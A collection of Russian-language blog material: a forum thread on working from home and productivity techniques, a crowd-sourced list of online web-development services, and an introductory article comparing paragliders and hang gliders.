А, так для скайпа тоже надо, что бы чел был где-то с хорошим connectivity, а не, скажем, в туннеле. Ну и понятно, что для определённых видов ИТ-деятельности возникающая у смежников проблема может подождать.

Про скринкасты через скайп спасибо — не знал, надо попробовать.
amlet
Не, ну в любой организации работы будь она удалённой или в офисе есть некоторая _объективная реальность_, которая влияет на выбор или отказ от того или иного метода. В моём конкретном случае все необходимые для удалённой работы моменты присутствуют и поэтому и поэтому этот метод работы имеет право на существование.
Lans
Как в скайпе передавать изображения с экрана?
amlet
версия скайпа должна быть от 4.1.

В окне чата выбрать Share\Share Your screen (Поделиться\Показать экран).

Там ещё есть возможность показывать не весь экран, а только его часть.
Lans
Пошел обновляться)
LightAlloy
ну это смотря какой офис…
ilyaProphet
в такой — я сразу да! )
amlet
ну я бы там жить остался :)
Patricy
Создавай, я зайду :)

У меня дочке 9 месяцев завтра, я год уже дома работаю. Могу поделиться впечатлениями
13i
у меня сын 5 дней назад родился, схожая ситуация.
с работой справляюсь с трудом.
XmasterX
Почему именно «логика жены»? Если я дома работаю, а жена, например, готовит/убирает/детей строит — само собой, что я включаюсь в эти процессы, всё ж таки моя семья :)

Другое дело, что на работе это отражаетс ясамым пагубным образом. Т.е. старинная практика «кабинетов», где «отец работает» — в высшей степени правильная.
Konovalov
Нужно ставить все жестко: в 8 утра вешаем на двери комнаты табличку «не беспокоить до 15 часов». Закрываем дверь. Все домашние могут беспокоить только в крайне важных случаях и только звоня на мобильный.

Кажется абсурдом, но пока найдешь телефон, наберешь номер и т.д. многие проблемы покажутся не такими уж серьезными.
McManaman
Тогда бы ещё заставлять себя не отвлекаться при походах в туалет, на кухню и т.п. Реально так «уйти в пещеру» лишь на час-два, потом будет отвлечение. Можно, конечно, отгородить часть квартиры с отдельным санузлом и зоной для перекуса, но это уже другие деньги…
allter
Думаю, тут нужно вместе всё решать. Помогать по хозяйству нужно, но и мешать работать не надо.
Утром за продуктами схходим, вечером погуляем, а так я на работе!
Удобно когда есть дома свой кабинет, можно закрыться на некоторое время ))
ilyaProphet
думаю, где-то можно договориться а где-то и нет. и опять же, если ребенок маленький, в люльке лежит, если и криками не будет отвлекать тогда ладно, а если постарше, уже может ходить/бегать, то тут вообще атас, ему-то не обьяснить до определенного возраста, что папа хоть и дома, но его нельзя отвлекать. лучши выходом, по-моему, все-таки снятие или офиса, или квариры.
XmasterX
Тем более, что сейчас так приятно рынок недвижимости упал. Можно и офисы и квартиры выбирать на любой вкус и кошелёк :)
Konovalov
Был такой опыт.

dkuznetsov.habrahabr.ru/blog/65801/
dkuznetsov
Стандартные проблемы фрилансера:) Кто только не писал про вопрос организации рабочего времени, но общих для всех методов, к сожалению, нет…
Xelaan
так это нормально — люди ж разные. А посты про собственную организацию рабочего времени я лично расценивал как идеи и наводящий на разные мысли чужой опыт. Из этого чужого опыта получил свой, который эффективно применял на практике, пока меня опять в офис не заарканили (а там уже многое в плане моей организации не только от меня зависит)
amlet
> 16-ти часовое сидение за очком монитора

Сильно.
wdk
Отлично, попробую! С завтрашнего дня! Я начал вести блог, в соответствии с моим планом монетизации требутеся большое количество уникального фото-видео материала, снимаю то я без проблем: много и с интересом, а вот обработка и заливка на ютуб интереса особого не представляют, в результате много неопубликованного материала, куча идей и новые съемки, а общая работа не движется. Тоже попробую 2 часа.
Aquahawk
Я решил проблему не менее радикально.
Рабочий день делится на временные отрезки по 45 минут.
После каждого отрезка — от пяти до десяти минут перерыва. Отдых мозгу, телу, глазам.
В середине рабочего дня — обед.
За временем следит таймер, который говорит что и когда нужно делать.
В итоге я не думаю о том, что устал и когда бы уже пора перекурить, сходить покушать или почитать новости.
Таймер говорит — я делаю не раздумывая.

Профит.
korsakov
тоже вариант
Z5M
да да слыхал подобное от одного знакомого журналиста
мне еще понравилось как он себя заставлял работать: говорит себе вот поработаю 10-15 мин. только начну и перекур (или какое то маленькое вознаграждение) и говорил что так втягивало, но главная это первичная само мотивация
hooz
Похоже на «Pomodoro Technique», только там 25 минут интервал. Между «помидорами» 3-5 минут перерыв, просто слегка расслабиться. Потом опять 25 минут работы. Ну конечно, лучше иметь список задач на день заранее и примерно прикинуть количество в таске «помидоров» :)
Таски могут быть разными: новости почитать — это тоже задачи… как раз минут на 25.

www.pomodorotechnique.com/
mignick
25 минут мало, британские учёные выяснили что переключение между тасками добавляет 20 минут… Хотя разграфить время на участки, кратные 30 минутам и кидать на них таски — тоже вариант.
allter
У автора поста просто такая психология, что он не может без такого радикализма нормально сосредоточиться на работе. Я его понимаю, поскольку сам такой. Для того, чтобы полностью уйти в работу, а не просто торчать «в очке монитора» (классная фраза :) — возьму на заметку) мне необходимо было, чтобы перед глазами был дедлайн, в который я обязан пересечь с выполненным заданием. В самом начале моей работы в офисе меня периодически трахал заказчик и напоминал о сроках или я сам помни про эти сроки, но факт в том, что обязательно был некто извне… Позже я смог что-то в себе сломать (или починить) и стал себе сроки сам ставить, да так, что они естесственно опережали поставленные заказчиком. Мог работать по 16-18 часов (а порой и >24 — если шёл этап не слишком интелектуальной деятельности), но если я укладывался в свой дедлайн, то кайфовал от того, что я сделал всё раньше и отдыхал до дедлайна заказчика… Бывало, надо сделать что-то за неделю, свой дедлайн ставлю на 3 дня раньше, два дня балду пинаю, пытаясь как-то начать работать (а получается это начинание с таким скрипом), а за последние сутки перед своим дедлайном всё выполняю, потому что вот он срок (!), зато потом 3 дня уже занимаюсь чем хочу, а не тем, что назначили…
amlet
Spy
Это же из «Бамси», а-а, накатило!!!
Danmer
да вы — комбайн :-D
Вы главное не перестарайтесь, а-то и какать, простите, будете только по гудку %)
depb
Да еще с топика про 5-часовой рабочий день мечтаю о таком. думаю 4 часа — оптимально. 2 — уже может быть мало. Ну может стоит 2 часа утром и 2 ближе к вечеру(16-18).
Adelf
Да, 2 часа «навсегда» — это, конечно, мало. Это просто в качестве показательного эксперимента, а так — действительно, часа четыре-пять оптимально.
Konovalov
>сидение за очком монитора
Порадовала фраза
fcuked
По теме: www.ozon.ru/context/detail/id/4345001/

Делать религию из написанного там не стоит (как и вообще из любой информации), но здравых идей очень-очень много.
remal
Да, у каждого свои методы. Использую персональную страницу от гугла. Пишу в таск и контрольные точки в календарь. Перед сном составляю план на завтра и стараюсь его выполнять.
Работать начинаю с 13-14 дня, с перерывом на погулять или по дремать в 16-17 часов, потом часик на настройку и в перёд до 2-3-4 ночи.
пока всё нормально.
ilyaProphet
Я вот со следущей недели решил попробовать вот это: www.pomodorotechnique.com/
alexiznot
простите, уже было тут.
alexiznot
Я бы даже сказал с понедельника :)
Чего предвкушать до следующей недели, если можно начать раньше.
siniy
Как я Вас понимаю. Сам никак не могу вылезти из этой ямы. Время летит, продуктивность падает, здоровья от такого ритма тоже не прибавляется. А еще это отвратное чувство вины за бесцельно потраченное время.

Ещё заметил такую вещь: когда «ломается интернет» и нет доступа, то продуктивность возрастает и ощущается даже некоторая легкость. Как-будто больше на тебя никто не смотрит и наступила тишина :) Так что если этап работы не требует постоянной связи с миром, то добровольное самоотключение от Интернета (полностью или частично) — очень полезная вещь.
Mokkey
мне бы проблемы автора, по 10 часов не отвлекаясь приходится работать в последнее время
Co0l3r
Спасибо. Тоже заметил такое. Вроде сидишь с утра до ночи за компом, а работы сделано все равно не много. Я поступил несколько иначе. Я поставил програму Time Tracker, она измеряет рабочее время. Жаль нет привязки к открытым окнам. Например открыт фотошоп, тогда она считает. Открыто что-то другое скипает. Смотрю логи и прозреваю. Стал стараться улучшать результат по чистому рабочему времени.
Schangin
Тоже замечал. Сижу весь день иногда, пытаюсь работыть, ничего не получается. Звоню друзьям — через час собираемся пить пиво. В итоге сразу же появляются отличные идеи, за 40-50 минут успеваю больше чем за весь день
megahertz
Можно ноут подзарядить, и попытаться успеть все отработать, пока батарея не села.

Не экстрим — у меня когда заряда уже не хватит, ноут переходит в режим hibernate, поэтому данные не потеряются.
astenix
Это хорошо, когда батарея живая. У меня вот больше 20 минут не держит уже, а поменять всё руки не доходят…
Konovalov
С начала работы до самого конца, принципиально не захожу ни на один ресурс отнимающий просто так время. 2 дня в таком режиме, работы сделано больше чем за 3 предидущие недели. Просто сила воля, просто нужно осознать что ничего важного на этих ресурсах нет, вот и всё ;)
deerua
Спасибо. Попробую обязательно. Ситуация до боли знакомая :)
indapublic
я тоже год дома «профрилансил» ) щас сижу в офисе… отличий особо нет — та же почта и новости «забивают» 60% времени… минус только прибавился — дорога отнимает по 4 часа в день :) зато доход есть стабильный!
eklektikos
Спасибо, интерестно было почитать, сам себя в вас увидел. Борюсь пока нежестко и постепенно. Один интерестный сервис который приоткрыл мне глаза ето wakoopa.com. Это такой трэкер програм и веб сервисов которымы вы пользуетесь. Благодаря этому трэкеру я постепенно начал менять как то, то чем я занимаюсь в онлайн, особенно урезая всевозможные соц. сети.
f1vlad
Неделя, имхо, не показатель — надо попробовать этот способ на более длинном промежутке времени.
Хочу поделиться ссылками на несколько полезных сервисов. Некоторые из них помогут сэкономить время, другие — сделают за Вас незнакомую/нелюбимую работу. Список разбит по категориям, чтобы было легче ориентироваться. Другие сервисы приведены в посте Упрощение жизни разработчика с помощью сторонних сервисов.

Сервисы опросов
simpoll.ru
anketer.ru
userreport.com (добавил Romanych)
webanketa.com (добавил mihass)
Конечно, у большинства CMS есть плагины для реализации опросов, но можно воспользоваться и сторонними сервисами с удобной админкой, наличием большого количества настроек и удобным выводом результатов.

Кнопки постинга в социальные сети
Кнопка от Яндекса
addthis.com (добавил UksusoFF)
share42.com
Блок «Поделиться» от Яндекса сейчас становится всё популярнее. Кнопка очень удобная, ничего лишнего. То же самое можно сказать и об addthis. Если же хочется чего-то другого, то можно воспользоваться третьим сервисом.

Онлайн-общение с посетителями
cloudim.ru (добавил AlexoLive)
consultsystems.ru (добавил serzhb)
krible.ru
zopim.com
olark.com
liveperson.com (добавил a1exis)
siteheart.com (добавил Alex_EXEcuter)
onicon.ru (добавил Aco)
p3chat.com (добавил risotto)
webim.ru (добавил shimapa23)
jivosite.ru (добавил access)
mibew.org (добавил Romanych)
livezilla.net (добавил xaker1)
sitehelp.inkiev.net (добавил ilesik)
marva.ru (добавил Idiff)
gotalk.ru (добавил shandor)
netroxsc.ru (добавил Manimal)
zingaya.com (добавил psserg) — позволяет звонить прямо с сайта
Если вдруг появилась необходимость, чтобы посетители могли связаться с Вами в on-line режиме, можно не строить собственное решение, а воспользоваться готовым.

Генераторы прелоадеров
preloaders.net
ajaxload.info
loadinfo.net
webscriptlab.com
Нашёл 4 хороших сервиса для генерации прелоадеров (индикаторов загрузки). Первые два, по-моему, наиболее удобны.

Генераторы надписей
cooltext.com
web2.0stylr.com
creatr.cc
simwebsol.com
Если Вы не особо дружите с графическими редакторами или хотите сэкономить время, то эти сервисы для Вас.

Генераторы кнопок
cssbuttongenerator.com
css3buttongenerator.com
css-tricks.com/examples/ButtonMaker
cssbutton.me (добавил Defite)
super.hubspot.com/buttons
Первые 4 сервиса создают кнопки при помощи CSS. Пятый генерирует JavaScript-код, что, возможно, подходит не всегда, но зато этот подход экономит время.

Генераторы фонов
patternizer.com/vh4 (добавил Londeren)
display-inline.fr (добавил Londeren)
creatr.cc/backgrounds
bgpatterns.com
Опять для тех же, кто не является дизайнером, но хочет себе хороший фон.

Генераторы иконок
iconizer.net
findicons.com (добавил Paskal)
iconfinder.com (добавил hormold)
iconza.ru (добавил greyhard)
faviconist.com (добавил DreamWalker)
генератор и архив фавиконок (добавил Grifon)
Шесть полезных сервисов. Необязательно хранить у себя на компьютере множество иконок, достаточно лишь зайти на эти сайты и подобрать нужные иконки с требуемыми характеристиками.

Оптимизация изображений
smushit.com/ysmush.it
punypng.com
kraken.io
За все три сервиса спасибо Lorents.

Тестирование сайта
просмотр ответа и заголовков HTTP-запроса (добавил msfs11)
JSON Formatter & Validator (добавил msfs11)
The JSON Validator (добавил Grifon)
browsershots.org, multibrowserviewer.com (добавил BugZ) и browserlab.adobe.com (добавил betaboy) — для просмотра сайта в различных браузерах.
создание скриншотов (добавил Begetan)
просмотр сайта в разных разрешениях (добавил BugZ)
тестирование .htaccess (добавил student_ivan)
проверка скорости загрузки сайта (добавил Albertum)
нагрузочное тестирование сайта (добавил Albertum)
мониторинг состояния приложений (добавил Kane)
тесты для сайта и сервера (добавил websitepulse)
проверка сервера на доступность из разных точек мира (Ping, DNS, HTTP, TCP порт) (добавил withlove)
проверка скорости загрузки сайта в реальных браузерах (из разных точек мира) (добавил withlove)
GTmetrix (добавил Андрей М.)

Тестирование регулярных выражений
gskinner.com/RegExr (добавил student_ivan)
rubular.com (добавил aratak)
regexpr.ru (добавил grimich)
myregexp.com (добавил msfs11)
txt2re.com (добавил shifty)
regexpal.com (добавил maruan_a)
Полезные сервисы, которые пригодятся не только веб-программистам.

Определение мобильности браузера
Яндекс.Детектор
detectmobilebrowsers.com (добавил student_ivan)

Песочница для HTML/CSS/JS
cssdesk.com (HTML+CSS)
jsfiddle.net (HTML+CSS+JS+фреймворки)
За оба сервиса благодарить Desiderata.
приложения для Chrome (добавил Андрей М.)

Другое
wysiwyg-построитель форм
подбор гармонирующих цветов (добавил hashspark)
работа с цветом (добавил Kane)
кросс-браузерный CSS3-градиент (добавил DimICE)
Ultimate CSS Gradient Generator (добавил shifty)
подбор цветовых схем (добавил kvasko_linuxoid)
CSS3 tools (добавил Kane)
генератор кросс-браузерных правил CSS3 (добавил nikolaykhl)
поддержка стандратов браузерами (добавил Kane)
конвертер в Data URI (добавил Kane)
online JavaScript beautifier (добавил mrShadow)
сжатие XML (удаление пробелов, комментариев) (добавил mrShadow)
html5 для IE (добавил DimICE)
генератор base64 изображений (добавил Punk_UnDeaD)
генератор бейджиков
генератор табов
генератор шаблонов страниц
простой генератор баннеров (добавил Finar)
заглушки для баннеров (добавил skipfish)
конструктор веб-форм и баз данных (добавил MyTaskHelper)
сбор и управление идеями (добавил SSM)
проверка django-проектов на GitHub (добавил hellhorse)
решение Google для загрузки шрифтов (добавил hellhorse)
html5 для IE (добавил DimICE)
качественный пагинатор (добавил hellhorse)
generate Facebook likes using QR codes (добавил hellhorse)
плеер для сайта (добавил hellhorse)
построитель графиков (добавил BorodinKO)

Вот и всё. Думаю, эти сервисы будут полезны тем, кто о них ещё не знал.
В комментариях привели ссылки на другие сборки полезных сервисов. Если чего-то здесь не нашли, можете поискать на следующих страницах: раз, два, три, четыре, пять, шесть. Добавили: BugZ, Santacruz, Webtun, hellhorse.

UPD: Спасибо всем, кто дополнял список.
LbICbIY
Почему-то нельзя подписаться на комментарии, пока ни одного нет. Этот для подписи.

PS Спасибо за подборку.
betaboy
Тест в браузерах — browserlab.adobe.com/
a1exis
Для общения с клиентами очень неплох LivePerson
an2kor
Ok, добавлю в пост =]
SSM
Сбор и управление идеями пользователей по развитию проекта/сайта
UserEcho
ilesik
Еще sitehelp.im (ENG) и sitehelp.inkiev.net (RUS) добавьте пожалуйста.
Alex_EXEcuter
и siteheart.com
an2kor
Добавил.
Aco
так же onicon.ru/
AlexoLive
На хабре проскакивал так же cloudim.ru
Arsenichev
Спасибо, что упомянули ;)
serzhb
и тогда уж из новых consultsystems.ru
Defite
Генератор кнопок на CSS3 — http://www.cssbutton.me/
mihass
В сервисы опросов на первое место — webanketa.com/
Injected
а как же polldaddy.com
BugZ
Вот тут подборки уже есть, да и по интернету их полно:
10 он-лайн генераторов, необходимых дизайнерам
UksusoFF
www.addthis.com еще, тоже ничего
Londeren
patternizer.com/vh4 генератор бэкграундов «в клеточку»
http://www.display-inline.fr/projects/css-gradient/ генератор градиента. css3 + поддержка совместимости (png, svg)
arsebandit
www.google.com/talk/service/badge/New# — он-лайн общение через google talk
risotto
p3chat.com
Еще один неплохой сервис чат-виджет.
adolgushin
На днях у p3chat появилась интеграция со Skype
adolgushin
более подробно о том как добавить скайп-чат на сайт
adolgushin
в P3chat появился полноценный веб-клиент
shimapa23
Очень удобный сервис общения с клиентам
webim.ru/
Paskal
findicons.com
Ещё один милый сервис с иконками.
hormold
ademaro
Punk_UnDeaD
www.patternify.com/

Генератор/редактор base64 изображений
student_ivan
iconsearch.ru

p.s: не генератор, а библиотека
Veterinar
Уже довольно давно, чтобы дождаться несколько скриншотов от browsershots.org, нужно не отходить от компьютера несколько часов в лучшем случае. Не забывать жать «продлить» и постоянно наблюдать как время ожидания растет. Когда же наконец столь желанные скриншоты загружены, оказывается, что на некоторых в браузере белый лист — скрин сделан раньше, чем сайт загрузился.

Проще виртуалки поднять и самому делать скрины, честное слово. Ну, или воспользоваться платной версией сервиса.
spmbt
Reformal.ru — бесплатное создание пожеланий, багрепортов, вопросов от посетителей с их мягкой авторизацией (сервис типа getSatisfaction.com), обычно на боковой кнопке. (У Вас раздела под него нет, это не ойлайн-общение.)
AlexoLive
Тогда и copiny.com стоит упомянуть
an2kor
Ссылки на эти оба сервиса есть в посте, который я привёл в самом начале.
BugZ
ViewLike.us — просмотр сайта в разных разрешениях
multibrowserviewer.com — ключает в себя 26 виртуализированных веб-браузеров, 5 мобильных браузеров (в том числе iPhone и IPad) и 61 скриншот браузеров
crossbrowsertesting.com — обеспечивает оперативное интерактивное тестирование браузера с помощью удаленных VNC сессий. Круто, но платно. Бесплатная пробная версия доступна для всех планов в течение одной недели.
z0rg
www.multibrowserviewer.com а то совсем не то выдаст
student_ivan
gskinner.com/RegExr/
полезная штука для теста регулярок
aratak
student_ivan
detectmobilebrowser.com/
Решения для разных языков, для разделения PDA/WEB
student_ivan
htaccess.madewithlove.be/
Для тестирования .htaccess (Mod Rewrite)
xaker1
livezilla.net — аналог webim.ru, с бесплатной версией.
— Windows ориентированная.
access
в первый список, также можно добавить jivosite.ru
1allen
+ генератор фонов
subtlepatterns.com
an2kor
Это больше на библиотеку фонов похоже.
1allen
верно, прошу прощения.
greyhard
Забыли ) iconza.ru
Analitik_Telecom
Mibew — свободный и бесплатный веб-мессенджер
Romanych
www.userreport.com
* проведение опросов
* сбор идей
* демографический анализ аудитории сайта
* демографические карты кликов
SKeaPer
В избранное!
DreamWalker
Faviconist — генератор иконок со стилизованной буквой.
psserg
zingaya.com — звонок с сайта (в первый список).
Aleco
Большое спасибо за подборку. Однозначно в избранное и жалко что нельзя проголосовать дважды. :)
Lorents
Оптимизация изображений онлайн:
Smush.it
punypng.com
kraken.io

Для JPEG нет разницы какой сервис использовать, а вот для PNG рекомендую punypng.com + kraken.io (режим extrem) для максимального эффекта.
MyTaskHelper
Реляционная онлайн СУБД, а простым языком конструктор веб-форм и баз данных онлайн
MyTaskHelper.ru
oWeRQ
Сервис платный, сайт страшный(от части из-за отсутствующего шрифта, что заставляет усомниться в компетентности разработчиков), а за 10$ можно арендовать VPS.

Напрашивается вопрос, как оно попало в «полезные» сервисы?
MyTaskHelper
Да, платный с 15-дневным триалом, чтобы понять нужен ли сервис. Также сть система инвайтов, позволяющая легко получить аккаунт бесплатно.
Но пост же не о бесплатных сервисах, а о полезных. Дизайн внешних страничек в нем не главное, чтобы убедиться в компетентности разработчиков и полезности нужно сервисы тестировать.
Finar
bannerfans.com — очень простой генератор баннеров
Webtun
Мега подборка веб-приложений, необходимых самостоятельным веб-дизайнерам
goo.gl/HAOVN
EugeneKudashev
Ещё иконки: thenounproject.com/
hashspark
Отличный сайт для подбора гармонирующих цветов colorschemedesigner.com/
Idiff
marva.ru , русскоязычный сервис для общения онлайн с сайта.
grimich
Тестирование регулярных выражений
regexpr.ru
shandor
www.gotalk.ru — онлайн-консультация с онлайн-трекингом посетителей
Desiderata
cssdesk.com — удобная песочница для теста HTML и CSS.
jsfiddle.net — тоже самое что и предыдущий, но с поддержкой JavaScript и наиболее популярных JavaScript фреймворков.
skipfish
Генератор картинок — placehold.it. Удобно вставлять заглушки нужного размера при создании макетов или во время верстки
msfs11
web-sniffer.net/ — Просмотр ответа и заголовков HTTP-запроса
jsonformatter.curiousconcept.com/ — JSON Formatter & Validator
myregexp.com/ — Редактор регулярных выражений
kvasko_linuxoid
Глазофильные цветовые схемы. kuler.adobe.com/
Albertum
Проверка скорости загрузки сайта: webo.in/
Нагрузочное тестирование сайта: loadimpact.com/
pratamishus
Действительно хорошая подборка. За Loadimpact тоже спасибо — классная вещь
popov
Отличный сервис обратной связи — reformal.ru
Kane
an2kor
Дайте ссылку на второй сервис правильно, пожалуйста.
mrShadow
Для data URI есть DataURLMaker: название проще запомнить, в отличие от вашего позволяет загружать файлы всех типов (если файл не совсем картинка, а например SVG, mime-тип не всегда проставляет, но это и руками можно сделать)
nikolaykhl
Генератор кросс-браузерных правил CSS3: www.css3please.com
shifty
shifty
Ultimate CSS Gradient Generator
http://www.colorzilla.com/gradient-editor/
hellhorse
singlefunction.com/15-online-background-generators/ — подборка генераторов фона
web.appstorm.net/roundups/80-apps-and-resources-for-cloud-based-web-dev/ — подборка «80 Apps and Resources for Cloud-Based Web Dev». Не все подходит под тематику топика, но интересного и полезного достаточно. Отдельные ссылки вытаскивать не стал, ибо получится слишком много ссылок :)
djangolint.com/ — проверка django-проектов на Гитхабе :)
code.google.com/intl/ru-RU/apis/webfonts/ — решение гугла для загрузки шрифтов (ну о нем все знают, но мало ли...)
vremenno.net/html-css/html5-video-players/ — подборка готовых html5 видеоплееров. Но датировано 28 ноября 2010
karaboz.ru/2007/11/19/paginator-3000-postranichnaya-navigaciya-budushhego/ — качественный пагинатор.
kuler.adobe.com/ — решение от adobe для выбора основных цветов для сайта
www.likify.net/ — Generate Facebook likes using QR codes
www.cssstickyfooter.com/ — качественное решение «прилепленного» книзу футера
quirktools.com/screenfly/ — тестирование сайта при разных разрешениях
uppod.ru/ — хороший плеер для сайта
DimICE
css3pie.com — кросс-браузерный css3 (градиент, закругленные края, тень)
Manimal
Онлайн консультант для сайта www.netroxsc.ru Добавьте пожалуйста
Begetan
Сервис создания скриншотов для сайта

www.s-shot.ru
Grifon
favicon.cc — генератор и архив фавиконок
DimICE
code.google.com/p/html5shim/ — html5 для IE
mrShadow
jsbeautifier.org — Online JavaScript beautifier
www.boryi.com/free-web-tools/compress-xml.html — сжатие XML (удаление пробелов, комментариев)
i5creen
Автор, спасибо!
an2kor
Пожалуйста =] Рад, что пост пригодился.
PS: Спасибо всем комментаторам.
mrShadow
Кстати, раз уж упомянули в подборке browsershots, была по подобным сайтам отдельная подборка: Быстрый способ протестировать сайт в разных десктопных браузерах. В подборке есть интересный сайт BrowserLing.com
kuzmi4
Спасибо.
Grifon
Ещё один JSON-валидатор
BorodinKO
graph.tk/ — построитель графиков, иногда бывает очень полезным
websitepulse
www.websitepulse.com/help/tools.php — Полезные тесты сайта и сервера.
withlove
http://check-host.net — проверка сервера на доступность из разных точек мира (Ping, DNS, HTTP, TCP порт).
withlove
loads.in — проверить как быстро загружается сайт в реальных браузерах (из разных точек мира)
withlove
Онлайн графические редакторы:
pixlr.com/editor/
www.sumopaint.com/app/
Grifon
online color picker: colorpicker.com
sixtoff
Форма обратного звонка для любого сайта — http://ngnsystems.ru
alexd73
внесу и я свой вклад: Набор сервисов для совместной работы (не моё:))
www.mindmeister.com/ru/12213323/best-online-collaboration-tools-2012-robin-good-s-collaborative-map
maruan_a
Вполне удобный тестер регулярных выражений: regexpal.com
vadbars
Хорошие кнопки для постинга в соцсети предоставляет pluso.ru
sonic
Тест нагрузки на сайт
www.blitz.io/
ishamshur
Онлайн конструктор форм и опросов для сайта -http://formdesigner.ru
Igr3k
удалите из списка:
проверка скорости загрузки сайта (добавил Albertum)

это не сервис, это студия, которая предлагает заказать у них измерение скорости сайта и оптимизацию по нагрузке

might
Странно, что никто не упомянул о данных сервисах проверки доступности сайтов:
host-tracker.com/
ping-admin.ru/free_test/
vov4ik08
On-line блокнотик — нотепад.рф
Мое детство прошло среди людей которые все время на чем то летали. Строили, разрабатывали новое и тут же на нем летали. В 5 лет для меня стало открытием, что кто то в этом мире может не летать. К своим 26 годам я успел попробовать почти все на чем можно летать. Хочу поделиться своим опытом и рассказать о доступных возможностях.
Что бы начать летать у Вас есть такие варианты:

1. Парители (в этой статье)
  • Параплан
  • Дельтаплан
  • Планер

2. Моторный полет (вторая статья)
  • Легкий самолет
  • Мотодельтаплан
  • Паратрайк
  • Парамотор
  • Мотопланер





Принцип парящего полета основан на существовании восходящих потоков воздуха. Как ветер, только прямо вверх. Задача пилота — найти такой поток воздуха и находиться в нем некоторое время что бы набрать высоту, а потом лететь к следующему потоку. И так в цикле.


Главное преимущество парителей — это полет без использования топлива. Нужна только стартовая энергия для набора начальной высоты. Однако, это и накладывает ограничения. Для взлета нужно где то взять начальную энергию. Взлететь можно или с горы, или с помощью лебедки, или за другим, моторным, летательным аппаратом.

Одна из основных характеристик любого летательного аппарата — это качество. А для парителей это самая главная характеристика. Эта величина определяет сколько километров можно пролететь снизившись на 1км. Обычно эта величина от 3 до 60. Т.е. находясь на высоте 1000 метров можно пролететь до 60км по прямой. (в абсолютно идеальных условиях и на определенной скорости)

Стереотипы о парящих полетах


  • Летать опасно.
    Опасно переходить дорогу в не положенном месте т.к. вас может сбить автомобиль. А в воздухе все зависит только от вас.
  • В воздухе можно столкнуться с другим летательным аппаратом или птицей.
    Это возможность существует, но ее вероятность настолько мизерна, что случаи таких столкновений можно пересчитать по пальцам. Один из самых известных — жив, цел, орел. Вероятность столкновения с другим летательным аппаратом зависит от кол-ва этих аппаратов вокруг вас.
  • Очень сложно взлетать и приземляться
    Да, это самая сложная часть полета, но не сложнее чем проехать нерегулируемый перекресток на автомобиле. Однако, тут все зависит от выбранного вами летательного аппарата. Для парапланов и дельтапланов это существенно сложнее чем для планера.
  • Нужно очень долго учиться что бы начать летать самостоятельно
    Учиться нужно, но не больше чем на автомобильных курсах. Даже меньше т.к. в воздухе нет ГАИшников и дорожных знаков. А вот что бы отлететь от места взлета куда-нибудь, уже нужно учиться существенно больше.
  • Без ветра нет полетов
    Ветер практически не связан с возможностью летать. Полет происходит за счет вертикальных воздушных потоков.
  • Без мотора долго и далеко летать нельзя
    На равнине при нормальной погоде можно летать весь световой день. В горах можно летать вечно т.к. существуют потоки обтекания гор. В свой первый летный год, в Киеве, на планере я, однажды, за день налетал 6 часов без перерыва. Можно было и дольше, но сил уже не было.
  • Если в воздухе что то сломается и шансов спастись нет.
    Конструкция настолько проста, что ломаться в ней, при нормальных нагрузках, почти нечему. Электрические системы являются вспомогательными и их отказ не критичен для полета. Ни один прибор не является жизненно необходимым. Взлететь и приземлиться можно вообще без приборов. К тому же, всегда есть спасательный парашют для непредвиденных ситуаций.
  • Это реально экстрим
    Смотря что понимать под экстримом. Вся авиация строится на безопасности полетов и минимизации экстрима. Если вы научились взлетать и тут же полетели по маршруту, то это не экстрим, а дурость. Слушайте опытных пилотов, читайте описание летных происшествий других пилотов и не нарушайте законы аэродинамики, и будете летать безопасно.
  • Это очень дорого
    В реальности это стоит от 50у.е./ мес. Свой летательный аппарат не всегда нужно покупать. Аренда зачастую выгодней.


Параплан




Факты

  • Скорость полета от 20 до 70 км/ч.
  • Конструкция только из ткани. Его прародителем был парашют.
  • Вес пилота от 40 до 130 кг.
  • Вес параплана с оборудованием около 15кг.
  • Рекорд мира на дальность(по ветру) 502км.
  • Рекорд по треугольному маршруту с возвращением на место старта — 118 км.

Плюсы

  • Ощущение свободного полета, когда ветер прямо в лицо.
  • Очень компактен. Помещается в большой рюкзак с которым даже в общественном транспорте можно проехать.
  • Нет волокиты с документами и медкомиссиями.
  • Весьма зрелищно и впечатлительно.
  • Можно летать без посторонней помощи. Взял и полетел. Приземлился где-нибудь, собрал все в рюкзак и поехал на маршрутке домой.
  • Поломать сложно. Можно порвать.
  • Посадка вне аэродрома не проблема. Можно сесть куда угодно.

Минусы

  • Взлет/посадка с ног. Риск травмы.
  • Крыло без труб. Это означает, что теоретически оно может схлопнуться в воздухе. Впрочем, раскрыть его возможно =)
  • Очень маленькая скорость полета. Летать против ветра фактически не реально (за исключение полетов в горах).
  • Взлет только с горы или с помощью буксировки. Взлетать самостоятельно с равнины невозможно.
  • Нет кабины. Чем выше вы летите, тем холоднее.

Бюджет

  • Покататься в тандеме. Стоит около 50$.
  • Обучение проходит на маленьких горках на клубной технике от 50$ в месяц.
  • Себе можно купить б/у за 500-1000$.
  • Спортивный параплан стоит около 2500$.


Рядовой полет на параплане в Крыму



Еще фото парапланов
На земле, перед взлетом


Транспортировка в сумке


Полет вдвоем (тандем)



Дельтаплан




Факты

  • Скорость полета от 30 до 120 км/ч.
  • Треугольной формы, из металлических труб и ткани.
  • Длинна сложенного от 2-х метров (обычно складывают в 6-и метровый пакет). Вес — от 25кг.
  • Вес пилота от 40 до 130 кг.
  • Рекорд мира на дальность(по ветру) 700км.
  • Рекорд по треугольному маршруту с возвращением на место старта — 357км.

Плюсы

  • Ощущение свободного полета, когда ветер прямо в лицо.
  • Легко перевозится автомобилем.
  • Легко ремонтируется.
  • Нет волокиты с документами и медкомиссиями.
  • Лететь против ветра возможно, но сложно.
  • Посадка вне аэродрома не проблема. Можно сесть куда угодно.
  • Можно летать без помощи клуба. Взял и полетел. Но кто то должен вас забрать на машине, если вы приземлитесь вне аэродрома.
  • Спортивные дельтапланы крутят некоторые фигуры высшего пилотажа.
  • Зрелищно.

Минусы

  • Взлет/посадка с ног. Высокий риск травмы.
  • Для взлета нужна или гора или буксировщик. С равнины самостоятельно взлететь невозможно.
  • Большая нагрузка на плечи и спину. Не верьте песне Леонтьева “И как легко моим плечам”. Он явно никогда не таскал дельтаплан на себе.
  • Обучение проходит практически самостоятельно лишь слушая советы инструктора. Тандемные (вдвоем) полеты существуют, но довольно сложны для обучения.
  • Ввиду специфики расположения пилота постоянно приходится напрягать шею.
  • Транспортировка только на авто. Общественным транспортом возможно, но очень сложно.
  • В первые годы налет очень маленький.
  • Легко поломать. Большинство проблем можно устранить самостоятельно, но некоторые детали приходится заказывать у производителя.
